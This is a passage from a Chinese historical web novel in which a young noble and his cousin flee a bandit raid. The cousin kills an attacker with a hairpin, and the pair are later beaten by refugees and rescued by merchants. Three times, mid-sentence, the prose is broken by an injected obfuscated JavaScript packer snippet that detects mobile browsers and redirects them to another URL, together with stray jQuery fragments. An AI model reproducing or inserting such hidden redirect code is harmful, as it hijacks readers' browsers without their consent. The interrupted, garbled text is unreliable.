“表哥……表哥，外面是不是出事了？”乔璃扶着拔步床下来，天热，她却不敢少穿，肩头披着中衣。周莲泱皱皱眉，开窗往外看，立刻被惊了一跳：前院竟是火光大盛，柴房上跳着火舌，满耳尽是撕心裂肺的惨叫声和野兽般的狂吼。他不知发生了何事，却被乔璃推了一把，两人连忙换好衣服鞋裤。 “事情不对，秀云，秀云呢？”他穿好衣服，圾了鞋，便要出门找人。乔璃拉住他：“表哥，你先不要喊。” 秀云不知去了哪里，玲云倒是跑进来，鬓发凌乱，满目凄惶：“莲二爷，不好了，有贼匪闯进来，老太爷、老爷都被杀了！” 周莲泱只觉脑内轰然作响，话语听进耳里，表情还是一面茫然：“谁？你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615127|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁死了？” 玲云一跺脚：“二爷，姑娘，我们，我们得赶紧逃哇！” 逃？为什么要逃？逃去哪里？周莲泱茫茫然看着玲云，乔璃却手脚很快，房间内的一切她都很熟悉，别的不管，金银细软先收拾了一包，又拽出披风，给周莲泱罩上。 “表哥，表哥！”她握住他的手，狠狠一掐。 周莲泱打了个颤，低下头，对上乔璃乌沉乌沉的眼。她脸色青白相混，刚咳嗽完，形容分外虚弱。他浑身一冷，又热起来，反握住表妹的手：“好！走，我们快走！” 推开门，玲云好歹经历过流亡，哪怕吓得浑身发抖说不囫囵话，也知晓该往哪处跑。两人跟着玲云，出了小院，来至静处，顺着小路往大宅的后门走。 已有盗匪闯入后院，带着滚滚浓烟。杀声震天，周莲泱听到一声女人的尖哭，似乎是从他大哥院里传来的。 嚎叫一声比一声高、一声比一声急，哭到末了，已是含了血一般哀哀啼着，声音飘得老高，接着戛然而止。 他一只手揽着乔璃的腰，脚下卯足劲儿往前奔跑。深夜倒不冷，两人还披着披风，裹出一身汗，但周莲泱脑袋还是晕的，不知是怕、还是恐慌，心里一哆嗦一哆嗦的渗寒气。他从来没觉得周家院子有这么大，仿佛比他看过的波罗的海还要宽阔，怎么走都走不到尽头。 走着，走着，他突然觉得脚腕一阵锥心的痛，原来是踩到一块松石，整个人向旁边崴去。他还紧紧握着乔璃的手，这么一崴，两人都倒向后园的草丛里。 他吓晕了，只觉得身体紧绷绷的，披风缠在身上，像一条湿透的巨蟒，裹得他一动不能动。他张开嘴，想叫住玲云，求她帮一帮忙。玲云确实往后看了一眼，嘴巴抿得紧紧的，犹豫片刻，径直往前跑了。 “表哥，嘘……别哭，不要怕。” 一道气声贴近他的耳朵，一只温软的手也贴过来，给他擦了擦脸。 周莲泱这才发觉自己淌了一脸泪，冰冰凉凉的，完全控制不住自己的情绪，在地上打哆嗦。他想爬起来，想带着表妹继续走，可身体像是僵死成一块枯朽的木头，怎么都动不了，还要表妹来安慰他！ 周莲泱举起手，下死力咬下去，直咬得冒出血来，终于恢复些许气力。还没等他爬起身，头顶一重，却是被乔璃按着后脑，压在胸前。 他先是一呆，接着见到一个人影往前一跳地跑过去，手里提着一把刀，他看不到那人影，却能听见刀抡起来呼呼的风声，接着就是一声刺耳的尖嚎。 是玲云的声音。周莲泱捂住嘴，咬住手心，拼命不叫自己喊出来。那双温软的手攥住他的手腕，把他拖起来，在假山的遮掩下，两人离那人影越来越远，绕了一圈，往后门疾走。 他的心里冷如寒冰，寒气顺着血管流向四肢。他想吐，又想哭，还记得身边跟着一个更需要照顾的表妹，才勉强撑住。 后门越来越近，周莲泱已听到马嘶人声，打起精神睁大眼睛。 黑暗里，没人点灯，只有一点点火光，映衬出几道熟悉的身影。是太太，还有小弟！周莲泱激动起来，想挥手大喊，又生生止住声息。宋则玉已看到他、还有他身后的乔璃，疲倦紧张的面容却并未露出什么惊喜，反而抱住幼子返身登车，催促车夫起驾离开。 “娘！” 他忍不住叫出来，啼哭一样，把嗓子都喊破了。 也许是这一声娘触动了什么，宋则玉到底露出一丝不忍之色，点了最后一个车架，让它慢下来，给并非自己亲生骨血的周莲泱留了一条生路。 周莲泱一边笑，一边哭起来，手下一拉乔璃，先是一紧，又忽然一松。 乔璃松开了他的手。 他一愣，立刻扭过头去，只见一道黑影，不知什么时候扣住了少女的另一只腕，拖着她，狞笑着，刀光晃裂了他的胆魂—— “表妹！” 8. 柒 白刃血纷 乔璃被扣住手腕的时候，比起肝胆欲裂的周莲泱，她其实什么也没想。 少女平日被周继纯养得细，皮娇肉嫩，盗匪长着粗茧的手一攥，腕就传来一阵似要被搓坏折断的痛苦。 她顺着扯拽的力道回头，瞧见盗匪那张贪婪狰狞的脸。他并不壮大，体态瘦小，因连月的奔波周折而憔悴不堪，想是前院的火让他热了，褴褛的短打敞了前襟，底下是历历可数的胸骨。 盗匪的目光也移到乔璃面上，手中清秀孱弱的少女，一看就是穿金戴玉的大家小姐，性命捏在恶人手里，看上去却并不如何怕。 与其说她长得精致美丽，不如说长得静、长得佛性。一双圆润清幽的眼睛直勾勾地看着他，里面没有任何感情，只存别有意味的审视。 怒气一忽儿窜上心头。他一路劫掠过来，无人不跪伏在地，对他这个平日不会正眼一瞧的下等人磕头乞求，求他饶其一命。 他最喜欢干得事，就是在这声声乞求中将人的头颅劈开、踩上几脚，吐几口唾沫。若是有尿，还会把尸体当夜壶。 这小女郎的不怕，就是对他执掌生杀之威的藐视，对他唯一自傲之权的轻蔑，比起别人来说，更分外可恶了。 他拿眼睨着乔璃，眼珠滴溜溜一转，伸手撕开她的领口，手指在脖颈上刮出两道红痕——这又是一桩男人对女人的权威了，若是将她按在地上侵犯，想必这张观音似的冷淡面容，一定能被痛苦和恐怖扭曲了吧？ 盗匪这么想着，丢了手上大刀，两只手都掐过来，要桎梏乔璃的身子。不妨侧腰一痛，定睛一看，是一个半大小子，双目赤红，明明手无寸铁，却一头莽撞地撞过来，一拳一拳地捣在他身上。 “放开她！放开她！你这天杀的贱贼！” 盗匪怒嘶一声：“你这小畜生！”说罢，就想弯腰提刀，挥刀去砍扑上来的少年。 乔璃看着这一幕，眼神移到毫无章法地撕扯盗匪的周莲泱身上，缓慢地眨了眨眼，脸上忽然露出一丝奇怪的笑容。 那丝笑意未落，乔璃的手移向粗糙绑起的发髻，从上面抽出一只簪。 那支银簪本该圆润纤细的簪头被磨得尖尖的，火光映衬下，飘逸出一抹微亮的白光，刺进皮肉，避开骨骼，直直扎穿了盗匪摸刀的右腕。 她身体弱，蓄势已久爆发出来的力气却不小，准准摸着血管，一扎之下再扭动抽出，不大的一个口子，涌出骇人的血量。 男人登时发出一声震得人耳鸣的大吼，不可置信地看看自己的手，再瞪向她：这娇弱貌美的女孩在他眼里，不再是可随意折辱的玩器，但也决不是人，而是一个冷酷无情的怪物！ 血溅出来，飞了乔璃一手。身体问题不可避免带来的虚弱、忿怒和磨人的无聊被血的腥黏之感驱散大半，盖过盗匪身上的骚臭，让空气都清新许多。她冲他笑了一笑，热情似地抱住他的胳膊，向下一拽，银簪一闪，刺入了他的咽喉！ 她这一连串动作，做得极快极连贯，仿佛本能地明白该从什么角度、用何种力道取得人的性命，和洽的技巧让她挥动银簪的姿势，像一支缺乏美感但精确如齿轮相扣的古怪舞蹈。 乔璃抽出银簪，盗匪捂着大动脉，嘴里发出不似人声的“咯咯”，身体跪倒在地，拼命想要给自己止血，却停不下生命的流逝。 她将银簪在他肩头擦了擦，重新插回发髻，动着走到周莲泱身前，轻拍他的脸：“表哥，我没事了，你不必怕。” 少女嘴角微微翘着，周莲泱从未见过她眼里这种畅意的风神，像是蛰伏的兽，一朝亮出獠牙，浑身上下都多了股天赋的自然。 她又伸出手来，凝着血的指抹上他的眼角，为他拭去渐冷的泪。 周莲泱被指腹的力道按得微微眯起眼，很快地一擦而过，眼角飘出一线淡红，仿佛晕开的胭脂。 乔璃声音比平常更低哑两分：“……这么怕，总是哭，怎么还扑上来？” 周莲泱一时之间没有办法理解发生了什么。 一切都太快、太激烈，太不可思议，对于一个始终活在光鲜亮丽水彩画里的少爷心灵来说，过于复杂难解。 但本能地，他伸出双手，抱住了乔璃。 他的脸埋在少女的颈窝里，鼻尖贴着她柔韧白皙的肌肤，那里被溅了两滴血。新鲜的血，萦着一股清幽杂着甜腥的气味。周莲泱眼中一热，又想哭了，泪珠儿在眼圈里打转，硬憋着不要掉下来。 那人是死了吗？被表妹杀死的吗？她怎么是这样冷静的？他心里怕得紧，抱着她的手却松不开，他怕一松，她就又被什么拽跑了。 乔璃心里本来跃跃着恶意，想要逗弄他一逗，瞧他这样子，眼里吐信的毒蛇忽然低了头，慢慢地盘回去。 她拂了一下他的额头，唇碰碰他冰凉的脸颊：“表哥，我们快走吧。” 再往前跑十几步，就是停下来等两个孩子的小马车。周莲泱不敢松开她的手，在车上坐定了，听轱辘吱吱呀呀地转着响，仍紧紧捏牢手中温热。乔璃也不知想什么，并未咳嗽，却扶着胸口，凝望车厢一角。 天色太暗，驾车的马夫和老妈妈眼神不好，因此没人看见乔璃杀人的一幕，只有在方寸间亲眼目睹一切的周莲泱记着。他不仅记着，眼前还一遍一遍回放血液四溅的一幕幕，顿时喉中阵阵作呕。 他忍不住用眼角余光去瞥身边的乔璃。 可能是杀人费了太多力气，少女神色恹恹，方才眼里让人心惊肉跳的血光被见惯了的澄澈淹没了。她乖乖地任他牵着手，指尖微微蜷着，像一只无害的白兔，静静地依偎着他的肩膀。 他想起来，乔璃曾说自己生而知之。具体什么他忘了，大抵是未喝过孟婆汤，还有前世的记忆。那她前世是什么人，能这样面不改色地夺走一条性命？在周莲泱狭窄的认知里，只有杀手、盗匪一流的词能用来形容，可这些听起来就血腥狰狞的词，与表妹的脸是如此不贴合。 想着想着，周莲泱又偷偷去看她，岂料正对一双透黑沉凝的瞳仁。乔璃嘴角又挂起那抹似有若无的笑意，开口道：“表哥怕我？” “……不怕。” “说谎。”她轻易地作出正确的判决。 “表哥怕的话，下次就别管我了。” “不行。” 这回是真话。乔璃挑了挑眉，有点惊讶，又觉得放在周莲泱身上，有些理所当然。 “为什么？” “我发过誓，要照顾你的……” 乔璃看了他半晌，看他那副头发散乱惊魂未定的狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615128|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狈样儿，心里奇怪地燥了燥，和平常无聊时的燥意还有些许不一样。她移开视线，想要抽回手，却被握得更紧。 “……妹妹恼我了？” 他没头没脑问这么一句，让乔璃啼笑皆非：她杀人吓了他，他怕是应当，却表现得像是自己负了她。 “没有，我是觉得表哥恼我了。”乔璃这话说得真心实意，周莲泱又露出那种让她心里燥动的表情。少女和他贴紧了点，胳膊抵着胳膊，低头一挨，靠向他的心口。 周莲泱低头，看她被撕掳开的衣领，衣领下出水清荷一般纤秀的颈，只觉那颈子和肩背都透着一种说不出的无助，是要依着他、靠着他才行的。 他的心就慢慢静下来，主动揽过她的腰，让她埋在自己身上休憩。 马车骨碌碌地往前滚，单调重复的车轮声渐渐带走那股让他心惊胆颤的血腥气。心里不再怕，又生出一种沉沉的担忧。 老太爷、老爷死了，大哥不知如何，似是只有母亲带着小弟逃走，然而，又能逃到哪里去呢？他和妹妹，以后又会如何呢？ 心里担忧着，担忧着，周莲泱抱着乔璃，又累又倦，头开始小鸡啄米，对着空气一点一点，最后靠在车上，慢慢地睡过去了。 在两人都昏昏欲睡的时间里，子夜已过，马车离了盗匪灾祸，出了城，来至郊区。她们这一辆马车，原本就比宋则玉在的大车队走得慢，又只有一匹瘦马，渐渐落了单。 天色将明不明、暝色最暗之际，彻底见不到前面的人影。驾车的老妈子往车里叫了好几声，里面的少爷小姐也没有声息。她眼睛就低下来，掀起车帘，将两人好生打量一番，见女孩手里还捏着个包袱，便伸出手轻轻一扯。怎料她将包袱攥得死紧，老妈子扯不动，怕惊醒了人，便收回手。 马夫是她的丈夫，老妈子爬到他身边，附耳说了一阵子。他虽然是老实的家生子，但两年前娶了这外地逃荒来的媳妇，心思也活络不少，听她说得天花乱坠，眼中一狠，轻甩马鞭，离了官道，驱马深入荒郊。 老妈子没看见，其实乔璃身子骨头被震得发麻，并没有睡着，她想拿走包袱，并未成功，撂了帘子，少女便挣开双眼，眸中划过一丝厉色。 她毕竟知晓厉害，知道两人身小力弱，逢遭大难，早已精疲力竭，对上两个身强体壮的成年人毫无胜算，便和周莲泱一样，整个白日都作出昏昏欲睡的模样，骗过老妈子的眼。那老妈子要困着两人，一路最多喂点水，不管不问。周莲泱醒来之后觉得奇怪，听了乔璃的解释，只觉得更是心空胆虚。 怎地就如此多灾多难了？到底何时是个尽头？ 马车行驶一整个白天，乔璃偷偷掀起帘子，也彻底分不清天南地北，只是又拐上一条路，像是官道，又透着股久未修缮的残破。沿途有一股一股的流民，衣衫褴褛，面容麻木，身旁有马车经过，也是无动于衷。 她不知这面生的老妈子要将两人带到哪里去，作出乖顺愚蠢的样子，细细观察，最后明白，大抵是见两人皮细肉嫩，要拐到有钱人手里，换得金银。 两人分开，乔璃不知自己如何，周莲泱怕是活不下去的，仔细思量，趁天色又黑，握了他的手，细声道—— “表哥，时候不早，我们准备跳车罢。” 9. 捌 身若浮萍 抱着乔璃跳下车的时候，两人顺着土坡往下翻滚了好几圈，周莲泱一连吃了好几口砂土，直撞到一块冰冷硬板的物事才停下。一番磕碰下来，浑身都发麻，就没有一处不痛的。 最痛的是后腰，砖物突起的一角顶在腰眼，刺麻麻地烧。 周莲泱靠在硬石上，胸口拉风箱一样起伏着，勉强换匀气。回过神来后，才急忙抱起怀里的女孩，轻声急道：“表妹，表妹？” 没有得到回应，他吓得连肩膀都颤抖起来：“囡囡，你能听到我说话吗？你别吓我，囡囡……” 乔璃勉强动动手指。活了十一二年，这恐怕是她活动得最厉害的一次了，如果换成一两个月前大病初愈的身体，恐怕要喘疾发作，登时昏倒过去。她这边不作声，周莲泱急得就差在地上团团转，顾不上礼仪，手指颤抖着从她的脑袋一直抚摸到腰腿，检查她的身体。 那马车平日瞧不怎样，他甚至不用人扶，就能迈步上车，可行得急时，从车帘往外看不断倒退的路，跳车真需要足够的勇气。 乔璃虚弱，哪怕周莲泱把她死死护在怀里，到底力有不逮，露在外面的肌肤全是被碎石割破的痕迹，连中衣都渗透了血迹。 “……囡囡。”他的头抵着她的头，心里那股难受劲儿堵得他几乎喘不过气，“都是我没有用。” 乔璃攒出一点力，将脸靠近他胸口，轻轻一贴，涩声道：“表哥，我没事，都是皮外伤。” 周莲泱看她掌心蹭破的口子，心头也似在砂土地上蹭出一片血，一绞一绞地刺疼。 他想抱着女孩爬起来，一动，后腰传来一阵钻心的痛，像有个人用凿子凿腰眼的部位，牵扯整片后背又麻又胀。他忍不住想叫出声，猛然想起两人还在逃难中。 为了堵住嘴忍过这股痛，周莲泱照着手背死死咬下，直到凝固的伤口再次撕裂、钻心的疼一跳一跳烧上手掌时，才停下来。 嘴里一股令人不适的血腥味儿，浸进嗓子，也爬上眉眼，使得突显了天真与尊荣、好似永远清亮的一双杏眼，也染上暗沉沉的赤红狠意。 莲二爷向来是自傲的，论才学、六艺，德行礼仪，他不觉得比旧时君子差。“文衿”二字，是老太爷欣赏幼孙才气，亲自取得字，企盼他能成为理想中的谦谦君子。 但谦谦君子，温文风雅，放在眼下，就成了最大的不合时宜。 若是他再年长一点、强壮一点，那老妈子必不敢背后作妖，随意欺辱他们两个去！若是他再聪慧、本事再大一点，也不需得让表妹拖着病体劳心劳力。 懊悔也无用，冷静下来，周莲泱隐隐闻得一点奇异的臭味。那种臭味，仿佛是纠缠在人的本能里的、想要远远避开的臭。 他心底奇怪起来，可天色太黑、更兼无月，看不清，只好反手摸索把他撞了个七荤八素的物事——仿佛是块石头，又长，又冷，又硬，上面阴刻着字，是一块墓碑！ 两人大抵是顺着土坡，滚到一处乱葬岗了吧？可能是某个家族的墓地，因为流亡逃难的人多了，也分不清谁的姓名，全都埋在一处。 他闻到的味道，正是人肉腐烂分解的气味。 周莲泱从未离死人这么近过，一猜到这是乱葬岗，一时间都不知如何下脚，心里又涌出丝丝缕缕的惊慌。乔璃依托他的手勉强站起，少年把表妹温热的身体抱在怀里，强行驱散了心里头的怕—— 已怕够了，怕烦了，不要再懦弱无能了。 他用自己也不知是什么的心情，深一脚浅一脚踩在软塌脆弱的尸骨里。踩碎人骨的触觉，恐怕会在记忆里留一辈子。 为躲避老妈子和马夫可能的搜索，只能带着乔璃往乱葬岗的深里走。深里有一片芒草，也不知是不是吸收了太多脚下的养分，长得又高又直。忽然一阵黑风吹过，芒草簌簌飘响，风声呜咽，像死人长长的哈欠。 周莲泱甩了一下头，甩走一缕挂在眼前汗湿的发。 “……我们在这里，先等到天亮。”乔璃拽着他的袖子，低低道。 周莲泱应了一声，扶她缓缓坐下。 苦熬了一晚夜，天边终于泛起一丝鱼肚白。他就借着这熹微的晨光，上上下下打量一番乔璃，扯下一片中衣，沾了芒草上结的露水，一点点擦干她手脚的血痕。 乔璃乖乖任由他擦完，接过布块，翻到未用过的地方，绕到他身后。 少年背后衣服已被刮烂了，后背划出数条深深浅浅的印子，大多已凝住血痂，看上去有些触目惊心。 他腰生得细，骑马练弓，修成一种收紧的韧。腰侧一块巴掌大的淤青，中央血糊一片，是撞到墓碑碑角的伤口。乔璃不碰血痂，只用布块擦走灰土。 少年微微弓着背脊，腰因疼痛而微微收紧，那处伤绽在白皙的肤肉上，血红更显惨鲜。 乔璃伸手轻轻碰了碰最怵目的那处，在旁近揉捏一下，确认伤口不深，只是擦掉一块皮肉。 他何曾受过这样重的伤，顿时疼得一抖，喉头滚过一丝颤音，旋即止住。 乔璃不由多看了他一眼。那双柔软透彻的眸子里，多了一分铁的冷硬。只是这冷硬，竟是对他自己而发的。 少女叹了一口气，在乱葬岗替两人找起衣服来。若想混进流民往城里走，两人衣帛穿绸，怕不是一见就要被抢。 周莲泱从未扒过死人衣服，这遭也是多了一份体验。他一边恶心，一边加快手脚。乔璃在一旁找了个没有尸骨的地方，从地上搓些泥土，往周莲泱脸上一抹，身上手上全都花花答答抹了一遍，然后捡起一顶开花儿的帽子，并一片半零不落的破衣，给自己头身遮好[1]。 还拣出些少腰没腿的破裤子，周莲泱和她都穿不上，也不费事弄，把裤子往地上一滚，弄成个脏铺盖。这一弄，再抓乱头发，胳膊下夹一支烂竹棒，倒与蓬头垢面的乞儿没有两样。 两人费了大半日功夫，互相搀扶着，终于走到一处乡间小庙。临近村子里只有零零散散十几处人家，想来也是受旱严重，显得空空荡荡。 乡庙早因荒芜而未祭灶火，模样十分破败，庙里聚了好些流民，两人混进去，倒也容易。只是跟着人群走，浑浑噩噩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615129|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知身处何方。 接连两日见不到城镇，流民都找不到吃的，连地上的野菜和观音土，也不是谁都能抢到的。能有力气往前走，全靠夜里乔璃偷偷塞给他藏在包袱里的点心。 周莲泱抬头看了一眼天上那轮热炉似的日头，心中觉出一种恍惚之感——这算什么？他过了十三年金尊玉贵的少爷日子，自视甚高，一朝被抛入荒野，与乞儿流民毫无两样。面对饥饿，什么琴棋书画、君子六艺都派不上用场，他竟是无计可施。 而表妹呢？比自己小两岁有余，收拾包袱那么一点点时间，居然能想到要装些吃食细软，知晓财不露白的道理，比得他像一个废物。 可即便心里谴责自己，他还是又饥又渴，忍耐不住。脚底在第一日就磨出了大水泡，第二日，这些水泡就全都磨破，痛上一层新高度。到了第三日，痛也变得麻木。 与他相比，乔璃更是难过，身体本就虚弱，夜晚咳疾骤发，全靠毅力硬生生挺下来。周莲泱不忍再让她受苦，便要背她走。不过一两个时辰，就累得摔倒在地。 乔璃便不肯再让他背。 有些流民就是走着走着，一头栽倒，再也爬不起来。 一路前行，水其实是不太缺的，沿道有河、有湖，过了一处大湖，眼里可见多了些人烟。沿途乞讨，倒也勉强撑下来。过了陈瑶，周莲泱才明白，这路流民约莫是往铜陵去的。 忽然一阵风吹过，这天天烧白的日头，渐渐被云翳遮了，过了一会，竟噼里啪啦下起雨来。雨势甚大，雨点子跟葡萄弹子似的，砸在身上突突得疼。这雨下得癫狂，也走得快，浇了几炷香的时间便停下。 这一停下不要紧，周莲泱与乔璃两人往身上抹的灰土泥垢全被冲干净，露出与流民不符的白皮细肤。 雨带寒气，乔璃累了三日，止不住咳，咳到整个人要撅过去，却有人渐渐围过来，眼神闪烁地盯着挎在周莲泱背上的包袱。 周莲泱看着围过来的三四个佝偻的流民，觉得一种什么在胸中爆裂开来：他见过这种眼神，盗匪眼里、老妈子和马夫眼里，甚至他的至亲爹娘都露出过这种眼神，牲畜一样、全然抛却了人性良知、化身为兽的眼神—— 他忽然整个人跪在地上，双膝磕出沉重的闷响，露出怀里咳嗽不止的表妹：“求你，求求你们，行行好放过我，这包袱里面的东西，是要去城镇替我妹妹求药的，如果没了这些，我妹妹就活不成了，活不成了！” 少年伏下身，对着走来的人，一下一下磕头，学那日为了活命的玲云，重重将前额碰出淤青血肿一样，以头抢地。 周围的脚步顿了片刻，侧躺在旁的乔璃知道自己帮不上忙，便竭力装得可怜一点，但心下却是明了，这只是一遭天真无邪的无用功。 短短几天内，他已抛却了世家公子的清傲，看清形式，懂得动脑子、弯下腰，自己寻找一条生路。 但可怜的表哥、可怜的表哥—— 他对世事人心还是稚嫩，不知流民胜饿虎，最不能做的，就是对野兽袒露肚腹，指望同情活命啊！ 10. 玖 耽兮不怨 眼前一暗。 尚不待周莲泱仰首反应，已有人伸手扯弄他肩上的包袱。庄稼人干惯农活的手粗粝厚大，一手抓向头，揪住浓黑的一捧发，往地上撕掳。周莲泱拼死抵抗，双手用力往男人的手臂抓去，半大小子劲不小 ，抓得男人臂上一道一道血痕。 他再怎么拼命，也抵不过三四个成人一起出手打来，可包袱就是乔璃的命，他把包袱别到身前抱住，不要命地往一个方向撞。 这本来是有效的，怎料有那心污胆黑的，见机不妙，索性抛下周莲泱，伸手往乔璃的方向摸去。大城镇里的富贵老爷，都有狎童的癖好，这小姑娘长得好，养个一年半载，定出落成他们最喜欢亵玩的模样。 周莲泱面色惨变，一时也顾不得包裹了，撕开包袱皮，将里面什么金银首饰往远了高了一抛，再合身扑上去，一脚踹在男人下处，抓着他的手，用牙齿咬出一排血洞。 压在乔璃身上的男人发出一声惨叫，踉跄退开。周莲泱抱住乔璃，把她锁在自己怀里。 雨点般的拳打脚踢落下来，他已失了所有力气，只能用后背去挡。短短半柱香后，身上被打得青紫交加，只剩出气，没有进气。 包袱里的细软已被抢走，男人什么都没抢到，偷鸡不成反蚀把米。踢打出气犹嫌不够，狠狠吐了一口唾沫，蹲下身，一定要把模样清秀的女孩拽走，低头却对上一双赤红的眼，里面滚滚一团杀意如喷发般爆了出来。 “……你若辱她，先把我杀没了命。” 周莲泱一只手抓在泥地里，眼居然是一种出奇的静，似乎什么东西燃尽了，潜在浮灰里，隐隐可以看到一点极黑暗的异样。 男人一惊，见他连手都抬不起来的样子，心里却不知怎么有些虚。他不知如何是好，更不愿对一个小子露怯，抬脚往周莲泱后腰狠跺一脚，嘴里骂着，转头去抢那些得了钱财的流民。 人流散尽。被严严护住的乔璃等了一会，才慢慢从周莲泱怀里爬出来。 少年的眼睛松松闭着，从额角流下的血浸湿了睫毛，淌了满面。本就撞伤的后腰血淋淋一片，粗布黏在血肉里，饶是乔璃，一时也揭都不敢揭。 她瞧着他，瞧自己染了血的掌根，心里头一次产生一种空茫茫的无力。血混着霉湿的尘味，和一抹花瓣揉碎似的腥香，依稀唤起飘零的记忆。 她像是总被这股气味包围似的，不咸不淡过了很多年，所以她该是有许多办法的，可什么都想不起来、想不起来。怎么就想不起来呢？ 一股痛恨忽然沁进心间，她痛恨这些零碎不成形的记忆，痛恨虚弱多病的身躯。深浓的痛恨倏忽打碎了心底的固傲，像一只虬结的爪，抓捏掐握，将一颗疏离的心扯到天光下，扯成“人”的模样，沥沥地滴出血…… 周莲泱侧卧在地，昏昏沉沉，勉强抬目，只见一片血色中嵌着个瘦瘦的倩影。他想爬起身，一动，重伤的腰早就痛麻了，根本无法支撑他站起。 走不了了。 他心下忽然清明一片，握住她搭在自己肩膀的手。 “……别怕……乖囡，你自己走吧，去城里、去……哥哥在这睡一会……” 少女并未按照他的话离开，反而离他近了点，手轻轻抚上被血与汗糊成一片的额头。他眯起眼，本能地去贴她温温的掌心。 昏暗的日光下，她眼也像刚被雨洗了一样，静澈如水。 然后那眼里，真就落下一滴一滴清透的雨点子。 周莲泱茫然地淋着雨，意识恍惚地聚散——总觉得、总觉得，这是第一次瞧见表妹落泪似的。 对着周老太爷、老太太，甚至是她亲娘的葬礼上流的泪，忆起来像是一层纱，把她遮在后面，雾影影的瞧不清晰。 她总是这样，哪怕两人是如此亲密的关系，他也总是看不清晰的。如今他看不清东西，却觉得乔璃从未有这一刻般真实可触。 “……表哥，你不要睡。还记得你发过誓吗？要一直待我好。所以你等等我。表哥等等我，好不好？” 她低下头，澄净的眼里只装着他的身影。周莲泱听得并不清晰，已要睡去，昏昏间，染血干裂的唇忽然被触了一下，伴着两点温凉的泪。 乔璃起身，捡起地上的包袱皮。离桐城已不远了，但以她的脚力，也做不到在天黑前赶进城。两人失了身份路引，又身无分文，不知还有什么希望。 周莲泱想着这些事，总觉得好疲惫、好疲惫，身体越来越沉、越来越凉，地面有一种透骨的寒意，直要把他往某个黑漆漆的地方拽。 可她吻了他。 那轻轻的吻，像春日里翩跹的蝴蝶翅膀，轻轻点过。 只有他来照看她了。这幼稚天真的誓言化成一条最细、最柔，也最韧的丝，飘飘幽幽地绕在心头，把锥心又麻木的痛搅乱了，牵着一口气，让他不舍就这么沉沉地睡下去。他答应了她的，不能违约，不要违约…… ------ 那一日，长长的一日，由生归死，由死复生。周莲泱觉得自己做了一个好长好长、半睡半醒的梦。 梦里有可怖的大火、尖叫的人群，砰砰的磕头声……还有许多许多辨不清面目的人。生，又死，死，再生，他茫茫然地行走着，手里捏着一根丝线，使自己不至于偏离。 不至于偏离，什么？ 这样长的一日，终究是要结束的。周莲泱醒来时，是一个阴雨连绵的天。他不知道其时已过了两天，以为又下起雨。 又下起雨，表妹若是淋湿了，要气喘咳嗽，她受不住…… “囡囡、囡囡……” 他摸索着，忽然惊觉自己趴在一张床上，一伸手，抻得全身骨头皮肉都一阵跳一阵痛。差点翻下去，被一双手接住，换得一声低低的叹息。 “我活了半辈子，从来不信有这么痴的人，那小丫头说的话，居然是真的。” 来人端了一杯水，递到周莲泱嘴边，他喝了一口，这才发现喉中干渴如火烧。 咽了一整杯，他定睛看去，面前是一个穿着简朴的女人，素面朝天，挽着低髻，面容柔婉而不失刚毅。她眼角生着细细的纹路，却看不出年龄，把少年扶起，又给他续了杯水。 周莲泱终于醒过神来——身上敷着药，不似刚受伤时那般烈痛，不禁喃喃道：“……您，是您救了我么？” 女人拖来一张椅子，坐到床边，先盯他一眼，才用手扶着发髻，慢慢笑一笑：“我姓吴，名铁音，当是长你许多岁，你就叫我一声音大姐罢。救了你的不是我，而是我那好管闲事菩萨心肠的外公。喏，你怕也是疑惑得紧，我就和你好好说一说。” “外公和我，是做生意的，原本跟一支商队在铜陵外结伴走，你那妹子突然跑过来哀求救命。商人么，早看多了流民，本来谁都不会管，只有我外公一个滥好人，看不过孩子受苦，非得脱离队伍，跟着去救。我们只有一匹瘦驴，拉的货不要，也驮上你和你妹子。这一救，就是费了三倍的功夫才进城，好在没碰到歹人，不然非被一锅端了不可。” 周莲泱听毕，立刻要起身拜谢，被吴铁音按回床：“唉，小少爷，你还是歇着罢，若牵动伤口恶下去，可没钱再治了。” 钱。周莲泱猛地醒神。表妹与他，可是一分钱都不剩。 “这救命的恩情……” “我们并未花钱，只是将你们带回铜陵，找来大夫，都是些力气活，不值当什么。”吴铁音悠悠地感慨一句：“你那妹子，当真是奇人，古有甘罗十二封相，她若非是女子，恐怕也不差多少。” “你身上的伤多是皮肉伤，用些内服外敷的药也不值太多钱。但你妹子咳疾发作，养身子的药有几味相当贵重，我们无钱可出。外公要典当瘦驴及铺内用品，被我死死拦下。争执之际，你知如何？你妹子瞧我们确实是良善人，才打开随身带的包袱皮——外面不显，里面竟是夹层的油布，藏着银票！” 